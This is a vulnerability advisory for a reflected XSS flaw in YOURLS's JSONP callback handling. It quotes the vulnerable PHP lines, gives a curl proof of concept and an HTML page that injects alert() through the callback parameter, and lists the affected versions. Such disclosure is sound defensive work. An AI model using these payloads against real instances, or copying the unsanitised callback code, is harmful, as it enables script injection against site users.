GHSA-6mp4-q625-mxjp

Source

https://github.com/advisories/GHSA-6mp4-q625-mxjp

Import Source

https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/12/GHSA-6mp4-q625-mxjp/GHSA-6mp4-q625-mxjp.json

JSON Data

https://api.osv.dev/v1/vulns/GHSA-6mp4-q625-mxjp

Published

2025-12-30T19:34:26Z

Modified

2025-12-30T20:06:36.662929Z

Severity

7.1 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L CVSS Calculator

Summary

YOURLS is vulnerable to XSS through JSONP and Callback request parameters

Details

Summary

The callback and jsonp request parameters are directly concatenated into the response without any sanitization that allowing attackers to inject arbitrary JS code. When YOURLS_PRIVATE is set to false (public API mode), this vulnerability can be exploited by any unauthenticated attacker. In private mode, the XSS payload is still injected into the 403 response body though browser execution is blocked.

Details

Vulnerability exists in the JSONP callback handling chain:

yourls-api.php:127-128

if( isset( $_REQUEST['callback'] ) )
    $return['callback'] = $_REQUEST['callback'];
elseif ( isset( $_REQUEST['jsonp'] ) )
    $return['callback'] = $_REQUEST['jsonp'];

includes/functions-api.php:127-128

$callback = isset( $output['callback'] ) ? $output['callback'] : '';
$result =  $callback . '(' . json_encode( $output ) . ')';

PoC

I. YOURLS instance with YOURLS_PRIVATE set to false in config.php or user authenticated to a private YOURLS instance.

II. curl "http://localhost:8080/yourls-api.php?action=version&format=jsonp&callback=alert(document.domain)//" Expected response: alert(document.domain)//({"version":"1.10.2","callback":"alert(document.domain)\/\/"})

Browser PoC file:

<!DOCTYPE html>
<html>
<head><title>pwn</title></head>
<body>
<h1>pwn</h1>
<script src="http://localhost:8080/yourls-api.php?action=version&format=jsonp&callback=alert('pwn');//"></script>
</body>
</html>

Impact

Public Mode (YOURLSPRIVATE=false): Full exploitation, any unauthenticated user can trigger XSS. Private Mode (YOURLSPRIVATE=true): XSS payload is injected into 403 response body but browser blocks script execution. However, authenticated users or admins accessing malicious links are still vulnerable.

Database specific

{
    "nvd_published_at": null,
    "cwe_ids": [
        "CWE-79"
    ],
    "severity": "HIGH",
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-30T19:34:26Z"
}

References

Affected packages

Packagist / yourls/yourls

Package

Name: yourls/yourls
Purl: pkg:composer/yourls/yourls

Affected ranges

Type: ECOSYSTEM
Events: Introduced

0Unknown introduced version / All previous versions are affected

Last affected

1.10.2

Affected versions

1.*

1.7.1

1.7.2

1.7.3

1.7.4

1.7.5

1.7.6

1.7.9

1.8

1.8.1

1.8.2

1.9

1.9.1

1.9.2

1.10.0

1.10.1

1.10.2